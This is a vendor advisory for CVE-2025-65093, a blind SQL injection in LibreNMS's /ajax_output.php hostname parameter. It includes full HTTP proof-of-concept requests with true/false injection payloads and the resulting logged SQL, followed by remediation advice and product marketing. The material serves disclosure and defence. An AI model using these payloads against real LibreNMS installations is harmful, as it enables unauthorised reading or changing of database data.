CVE-2025-65093

CVE-2025-65093 is a medium-severity SQL injection vulnerability in librenms/librenms (composer), affecting versions <= 25.10.0. It is fixed in 25.11.0.

Summary

A Boolean-Based Blind SQL Injection vulnerability was identified in the LibreNMS application at the /ajax_output.php endpoint. The hostname parameter is interpolated directly into an SQL query without proper sanitization or parameter binding, allowing an attacker to manipulate the query logic and infer data from the database through conditional responses.

Details

  • Vulnerable Endpoint: `GET /ajax_output.php

  • Parameter: hostname

  • Authentication Required: Admin privileges required to access /ajax_output.php discovery endpoint

  • Vulnerability type: Boolean-Based Blind SQL Injection, input is concatenated into a SQL statement without proper escaping

Description

The LibreNMS application uses the hostname parameter during device discovery operations to query the database for matching devices.
However, user-supplied data is concatenated directly into the SQL query within /opt/librenms/includes/html/output/capture.inc.php without adequate sanitization..

This allows attackers to modify the query logic using Boolean expressions.
When crafted conditions evaluate to true, the application behaves normally and returns the expected device data.
When conditions evaluate to false, the response is altered (e.g., the queried host is not found).

This difference in behavior confirms that the parameter’s value is being interpreted as SQL logic, demonstrating a Boolean-Based Blind SQL Injection.

Note: This vulnerability requires an authenticated user with administrator privileges to access the affected discovery functionality. While this limits exploitation to internal or compromised admin sessions, the vulnerability still represents a critical security risk due to the ability to manipulate backend SQL logic in privileged contexts.

Proof of Concept (PoC)

1 - Authenticate with an administrator account.
The discovery endpoint /ajax_output.php is accessible only to users with admin-level privileges.

2 - Access the following URL with the payload that evaluates to TRUE:

GET /ajax_output.php?id=capture&format=text&type=discovery&hostname=10.0.5.4'+AND+1=1+AND+'1'='1 HTTP/1.1
Host: 10.0.5.5:8000
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://10.0.5.5:8000/device/3/capture
Cookie: laravel_session=[ADMIN_SESSION_COOKIE]
Priority: u=0

3 - Observe that the system returns the expected data and triggers the discovery process.

4 - Now repeat the request with a FALSE condition:

GET /ajax_output.php?id=capture&format=text&type=discovery&hostname=10.0.5.4'+AND+1=2+AND+'1'='1 HTTP/1.1
Host: 10.0.5.5:8000
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://10.0.5.5:8000/device/3/capture
Cookie: laravel_session=[SESSION COOKIE]
Priority: u=0

5 - Observe that the response is altered: no device is found, and no discovery is triggered.

Query behavior observed in logs

SQL[SELECT * FROM `devices` WHERE disabled = 0 AND `hostname` LIKE '10.0.5.4' AND 1=1 AND '1'='1' ORDER BY device_id DESC [] 0.5ms]

The difference in output confirms that the injected Boolean logic is being executed by the database.

References

  • CWE-89, Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

  • OWASP SQL Injection Prevention Cheat Sheet

Impact

Boolean-based SQL Injection can have severe consequences depending on the deployment context:

  • Data extraction: Attackers can infer database data (schema, users, configuration) through Boolean inference techniques.

  • System compromise: Database or application state could be manipulated if the injection is further exploited.

  • Information disclosure: Reveals internal SQL structure and logic of the LibreNMS backend.

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

CVE-2025-65093 has a CVSS score of 5.5 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (25.11.0); upgrading removes the vulnerable code path.

Affected versions

librenms/librenms (<= 25.10.0)

Security releases

librenms/librenms → 25.11.0 (composer)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade librenms/librenms to 25.11.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2025-65093? CVE-2025-65093 is a medium-severity SQL injection vulnerability in librenms/librenms (composer), affecting versions <= 25.10.0. It is fixed in 25.11.0. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
  2. How severe is CVE-2025-65093? CVE-2025-65093 has a CVSS score of 5.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of librenms/librenms are affected by CVE-2025-65093? librenms/librenms (composer) versions <= 25.10.0 is affected.
  4. Is there a fix for CVE-2025-65093? Yes. CVE-2025-65093 is fixed in 25.11.0. Upgrade to this version or later.
  5. Is CVE-2025-65093 exploitable, and should I be worried? Whether CVE-2025-65093 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2025-65093 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2025-65093? Upgrade librenms/librenms to 25.11.0 or later.

Other vulnerabilities in librenms/librenms

CVE-2026-6204CVE-2026-26990CVE-2026-26989CVE-2026-26988CVE-2026-27016

Stop the waste.
Protect your environment with Kodem.